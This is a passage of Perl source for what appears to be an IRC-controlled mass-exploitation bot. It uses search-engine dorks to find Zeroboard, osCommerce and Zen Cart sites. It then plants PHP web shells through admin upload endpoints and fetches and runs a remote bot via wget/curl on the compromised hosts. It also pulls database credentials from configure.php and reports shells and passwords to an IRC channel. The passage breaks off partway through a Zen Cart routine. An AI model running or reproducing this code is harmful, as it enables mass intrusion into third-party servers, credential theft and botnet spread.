- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoES",$type);
- } exit; }
- }
- if ($engine =~ /yahooit/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoIT",$type);
- } exit; }
- }
- if ($engine =~ /yahooid/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoID",$type);
- } exit; }
- }
- if ($engine =~ /yahooin/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoIN",$type);
- } exit; }
- }
- if ($engine =~ /yahooau/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoAU",$type);
- } exit; }
- }
- if ($engine =~ /yahoomx/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoMX",$type);
- } exit; }
- }
- if ($engine =~ /yahootw/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoTW",$type);
- } exit; }
- }
- if ($engine =~ /yahoobr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoBR",$type);
- } exit; }
- }
- if ($engine =~ /yahooar/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoAR",$type);
- } exit; }
- }
- if ($engine =~ /yahoonl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoNL",$type);
- } exit; }
- }
- if ($engine =~ /yahoodk/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoDK",$type);
- } exit; }
- }
- if ($engine =~ /yahooph/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoPH",$type);
- } exit; }
- }
- if ($engine =~ /yahoocl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoCL",$type);
- } exit; }
- }
- if ($engine =~ /yahoor/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoRU",$type);
- } exit; }
- }
- if ($engine =~ /yahooch/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoCH",$type);
- } exit; }
- }
- if ($engine =~ /yahooco/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoCO",$type);
- } exit; }
- }
- if ($engine =~ /yahoofi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoFI",$type);
- } exit; }
- }
- if ($engine =~ /yahooro/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoRO",$type);
- } exit; }
- }
- if ($engine =~ /yahoove/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoVE",$type);
- } exit; }
- }
- if ($engine =~ /yahooat/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoAT",$type);
- } exit; }
- }
- if ($engine =~ /yahoopl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoPL",$type);
- } exit; }
- }
- if ($engine =~ /yahookr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoKR",$type);
- } exit; }
- }
- if ($engine =~ /yahoonz/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoNZ",$type);
- } exit; }
- }
- if ($engine =~ /yahoogr/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoGR",$type);
- } exit; }
- }
- if ($engine =~ /yahoope/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOoPE",$type);
- } exit; }
- }
- if ($engine =~ /yahoo7/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOo7",$type);
- } exit; }
- }
- if ($engine =~ /clusty/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"clusty",$type);
- } exit; }
- }
- if ($engine =~ /gutser/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gutser",$type);
- } exit; }
- }
- if ($engine =~ /rediff/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"rediff",$type);
- } exit; }
- }
- if ($engine =~ /virgilio/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"virgilio",$type);
- } exit; }
- }
- if ($engine =~ /webde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"webde",$type);
- } exit; }
- }
- if ($engine =~ /exalead/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"exalead",$type);
- } exit; }
- }
- if ($engine =~ /lycos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"lycos",$type);
- } exit; }
- }
- if ($engine =~ /hotbot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"hotbot",$type);
- } exit; }
- }
- if ($engine =~ /aol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"aol",$type);
- } exit; }
- }
- if ($engine =~ /sapo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"sapo",$type);
- } exit; }
- }
- if ($engine =~ /duck/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"duck",$type);
- } exit; }
- }
- if ($engine =~ /lygo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"lygo",$type);
- } exit; }
- }
- if ($engine =~ /yause/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yause",$type);
- } exit; }
- }
- if ($engine =~ /baidu/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"baidu",$type);
- } exit; }
- }
- if ($engine =~ /kipot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"kipot",$type);
- } exit; }
- }
- if ($engine =~ /gibla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gibla",$type);
- } exit; }
- }
- if ($engine =~ /black/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"black",$type);
- } exit; }
- }
- if ($engine =~ /onet/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"onet",$type);
- } exit; }
- }
- if ($engine =~ /sizuka/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"sizuka",$type);
- } exit; }
- }
- if ($engine =~ /walla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"walla",$type);
- } exit; }
- }
- if ($engine =~ /demos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"demos",$type);
- } exit; }
- }
- if ($engine =~ /rose/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"rose",$type);
- } exit; }
- }
- if ($engine =~ /seznam/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"seznam",$type);
- } exit; }
- }
- if ($engine =~ /tiscali/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"tiscali",$type);
- } exit; }
- }
- if ($engine =~ /naver/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"naver",$type);
- } exit; }
- }
- if ($engine =~ /live/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"live",$type);
- } exit; }
- }
- if ($engine =~ /rakuten/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"rakuten",$type);
- } exit; }
- }
- if ($engine =~ /biglobe/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"biglobe",$type);
- } exit; }
- }
- if ($engine =~ /nova/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"nova",$type);
- } exit; }
- }
- if ($engine =~ /najdi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"najdi",$type);
- } exit; }
- }
- if ($engine =~ /goo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"goo",$type);
- } exit; }
- }
- if ($engine =~ /uksubmit/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"uksubmit",$type);
- } exit; }
- }
- if ($engine =~ /excite/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"excite",$type);
- } exit; }
- }
- if ($engine =~ /amidalla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"amidalla",$type);
- } exit; }
- }
- if ($engine =~ /buscar/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"buscar",$type);
- } exit; }
- }
- if ($engine =~ /sogou/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"sogou",$type);
- } exit; }
- }
- if ($engine =~ /interia/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"interia",$type);
- } exit; }
- }
- if ($engine =~ /snz/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"snz",$type);
- } exit; }
- }
- if ($engine =~ /yandex/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yandex",$type);
- } exit; }
- }
- if ($engine =~ /joeant/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"joeant",$type);
- } exit; }
- }
- if ($engine =~ /terra/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"terra",$type);
- } exit; }
- }
- if ($engine =~ /youdao/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"youdao",$type);
- } exit; }
- }
- if ($engine =~ /amfibi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"amfibi",$type);
- } exit; }
- }
- if ($engine =~ /bigclique/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"bigclique",$type);
- } exit; }
- }
- if ($engine =~ /dancefloor/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"dancefloor",$type);
- } exit; }
- }
- if ($engine =~ /latina/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"latina",$type);
- } exit; }
- }
- if ($engine =~ /goojp/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"goojp",$type);
- } exit; }
- }
- if ($engine =~ /yahoohk/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yahoohk",$type);
- } exit; }
- }
- if ($engine =~ /setooz/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"setooz",$type);
- } exit; }
- }
- if ($engine =~ /aubing/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"aubing",$type);
- } exit; }
- }
- if ($engine =~ /yahoo7/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yahoo7",$type);
- } exit; }
- }
- if ($engine =~ /gooes/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"gooes",$type);
- } exit; }
- }
- if ($engine =~ /neti/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"neti",$type);
- } exit; }
- }
- if ($engine =~ /doogate/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"doogate",$type);
- } exit; }
- }
- if ($engine =~ /webwombat/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"webwombat",$type);
- } exit; }
- }
- if ($engine =~ /euroseek/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"euroseek",$type);
- } exit; }
- }
- if ($engine =~ /alltheweb/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"alltheweb",$type);
- } exit; }
- }
- if ($engine =~ /mamma/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"mamma",$type);
- } exit; }
- }
- if ($engine =~ /yahoo2/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yahoo2",$type);
- } exit; }
- }
- if ($engine =~ /kvasir/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"kvasir",$type);
- } exit; }
- }
- if ($engine =~ /netsprint/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"netsprint",$type);
- } exit; }
- }
- if ($engine =~ /saol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"saol",$type);
- } exit; }
- }
- if ($engine =~ /lookle/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"lookle",$type);
- } exit; }
- }
- if ($engine =~ /optuszoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"optuszoo",$type);
- } exit; }
- }
- if ($engine =~ /search66/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"search66",$type);
- } exit; }
- }
- if ($engine =~ /arrama/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"arrama",$type);
- } exit; }
- }
- if ($engine =~ /excitejp/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"excitejp",$type);
- } exit; }
- }
- if ($engine =~ /clix/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"clix",$type);
- } exit; }
- }
- if ($engine =~ /searchch/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"searchch",$type); } exit; }
- }
- if ($engine =~ /cada/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"cada",$type);
- } exit; }
- }
- if ($engine =~ /bypass/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ByPass",$type);
- } exit; }
- }
- }
- #########################################
- sub cp() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$cplogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$cplogo [$engine] Done ...!"); }
- my $test = "http://".$site."extras/curltest.php";
- my $vuln = "http://".$site."extras/ipn_test_return.php";
- my $html = &get_content($test);
- if ($html =~ /Zen Cart/){
- my $target = &get_content($vuln);
- if ($target =~ /failed to open stream/){
- my $dir ="";
- if ($target =~ m/in <b>(.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;}
- my $cp = "ftp://$user:$pass@".$site."";
- my $cpanel = &get_content($cp);
- if ($cpanel =~ /ftp/){
- &msg("$admin","$cplogo15[2$engine][2VuLn15]7 ftp://$user:$pass@".$site." $user:$pass Sukses ");
- &msg("$chanx","$cplogo15[2$engine][2VuLn15]7( http://".$site." 15[2+15]3user: $user 15[2+15]3pass: $pass )");
- }
- }}}}}
- sub zero() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$zerologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$zerologo [$engine] Scan finish"); }
- my $reslx = "http://".$site.$bug;
- my $crot = get_content($reslx);
- if ($crot =~ /Zeroboard/) {
- my $sc = system("./zero $reslx 80");
- my $laporan = get_content("http://".$site."/data/shell.php?cmd=uname%20-a");
- my $check = get_content("http://".$site."/data/shell.php");
- if ($check =~ /Cannot execute a blank command/) {
- &msg("$chan","$zerologo15[2$engine15](2VuLn15)10 http://".$site."/data/shell.php?cmd=uname -a 3Uname: $laporan");
- }
- my $loadBot = get_content("http://".$site."/data/shell.php");get_content("http://".$site."/data/shell.php?cmd=wget ".$bot.";fetch ".$bot.";curl -O ".$bot.";lwp-download ".$bot.";mv 05.jpg bot_.php;php bot_.php");
- my $cekBot = get_content("http://".$site."/data/bot_.php");
- my $check2 = get_content("http://".$site."/data/shell.php");get_content("http://".$site."/data/shell.php?cmd=wget ".$injector." -O log.php;fetch ".$injector." - log.php;curl -O ".$injector." -O log.php;lwp-download ".$injector.";mv index_ip.jpg log.php");
- my $vuln = get_content("http://".$site."/data/log.php");
- if ($vuln =~ /ipays - exploit/) {
- my $safe ="";
- my $os ="";
- my $free ="";
- if ($vuln =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
- if ($vuln =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
- if ($vuln =~ m/OS : (.*?)<br>/) {$os = $1;}
- if ($vuln =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
- &msg("$chan","$zerologo15[2$engine15](3SHELL15)10 http://".$site."/data/log.php 15(3SafeMode= $safe15)(3OS= $os15)(3FreeSpace= $free15)");
- &msg("$admin","$zerologo15[2$engine15](3SHELL15)10 http://".$site."/data/log.php 15(3SafeMode= $safe15)(3OS= $os15)(3FreeSpace= $free15)");}
- }
- }
- }
- }
- sub osco() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$oscologo [$engine] Scan finish"); }
- my $test = "http://".$site.$bug;
- my $test1 = "http://".$site."admin/file_manager.php/login.php";
- my $test2 = "http://".$site."admin/banner_manager.php/login.php";
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/ ) {
- #&msg("$chan","$oscologo(4@3$engine15)15(4@9System15)7 ".$test);
- &osco_xpl($test,$chan,$site,$engine);
- &osco2($test1,$chan,$bug,$dork,$engine);
- &osco_xpl3($test2,$chan,$site,$engine);
- &osql($chan,$site,$engine);
- } else { }
- } exit; sleep(2); }
- }
- }
- }
- sub osco_xpl() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0]."?cPath=&action=new_product_preview";
- my $chan = $_[1];
- my $site = $_[2];
- my $engine = $_[3];
- my $res = $browser->post( $url,['products_image' => ['./index_ip.jpg' => 'xcrew.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resa = $browser->post( $url,['products_image' => ['./05.jpg' => 'products.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $hasil = $res->as_string;
- my $hasil1 = $resa->as_string;
- my $check = &get_content("http://".$site."images/xcrew.php");&get_content("http://".$site."images/products.php");&get_content("http://".$site."images/closed.php");sleep(3);
- if ($check =~ /ipays - exploit/) {
- my $safe ="";
- my $os ="";
- my $free ="";
- if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
- if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
- if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
- &msg("$chan","$oscologo(4@3$engine15)15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
- &msg("$admin","$oscologo(4@3$engine15)15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
- }
- }
- sub osco2() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$oscologo [$engine] Scan finish"); }
- my $test = "http://".$site.$bug;
- my $test1 = "http://".$site."admin/banner_manager.php/login.php";
- my $test2 = "http://".$site."admin/categories.php/login.php";
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ /TABLE_HEADING_FILENAME/) {
- #&msg("$chan","$oscologo(4@3$engine15)15(4@9System15)7 ".$test);
- &osco_xpl2($test,$chan,$site,$engine);
- &osco_xpl3($test1,$chan,$site,$engine);
- &osco_xpl($test2,$chan,$site,$engine);
- &osql($chan,$site,$engine);
- } else { }
- } exit; sleep(2); }
- }
- }
- }
- sub osco_xpl2() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0]."?action=processuploads";
- my $chan = $_[1];
- my $site = $_[2];
- my $engine = $_[3];
- my $res = $browser->post( $url,['file_1' => ['./index_ip.jpg' => 'xcrew.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resa = $browser->post( $url,['file_1' => ['./05.jpg' => 'products.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $hasil = $res->as_string;
- my $hasil1 = $resa->as_string;
- my $check = &get_content("http://".$site."images/xcrew.php");&get_content("http://".$site."images/products.php");sleep(3);
- if ($check =~ /ipays - exploit/) {
- my $safe ="";
- my $os ="";
- my $free ="";
- if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
- if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
- if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
- &msg("$chan","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
- &msg("$admin","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
- }
- }
- sub osco3() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- # if ($count == $num-1) { &msg("$chan","$oscologo(4@3$engine15)10 Scan finish"); }
- my $test = "http://".$site.$bug;
- my $test1 = "http://".$site."admin/file_manager.php/login.php";
- my $test2 = "http://".$site."admin/categories.php/login.php";
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ /TABLE_HEADING_BANNERS/) {
- &msg("$chan","$oscologo [$engine] [System]14 ".$test);
- &osco_xpl3($test,$chan,$site,$engine);
- &osco_xpl2($test1,$chan,$site,$engine);
- &osco_xpl($test2,$chan,$site,$engine);
- &osql($chan,$site,$engine);
- } else { }
- } exit; sleep(2); }
- }
- }
- }
- sub osco_xpl3() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0]."?action=insert";
- my $chan = $_[1];
- my $site = $_[2];
- my $engine = $_[3];
- my $res = $browser->post( $url,['banners_image' => ['./index_ip.jpg' => 'xcrew.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resa = $browser->post( $url,['banners_image' => ['./05.jpg' => 'products.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $hasil = $res->as_string;
- my $hasil1 = $resa->as_string;
- my $check = &get_content("http://".$site."images/xcrew.php");&get_content("http://".$site."images/products.php");&get_content("http://".$site."images/closed.php");sleep(3);
- if ($check =~ /ipays - exploit/) {
- my $safe ="";
- my $os ="";
- my $free ="";
- if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
- if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
- if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
- if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
- &msg("$chanx","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
- &msg("$admin","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
- }
- }
- sub osql() {
- my $chan = $_[0];
- my $site = $_[1];
- my $engine = $_[2];
- my $test = "http://".$site."admin/file_manager.php/login.php?action=download&filename=/includes/configure.php";
- my $re = &get_content($test);
- if ($re =~ /http:\/\//){
- if ($re =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DIR path: 4 $1");
- }
- if ($re =~ m/'DB_SERVER', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB Server: 4 $1");
- }
- if ($re =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB username: 4 $1");
- }
- if ($re =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB password: 4 $1");
- }
- if ($re =~ m/'DB_DATABASE', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB database: 4 $1");}
- }
- }
- #########################################
- sub zen_V() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
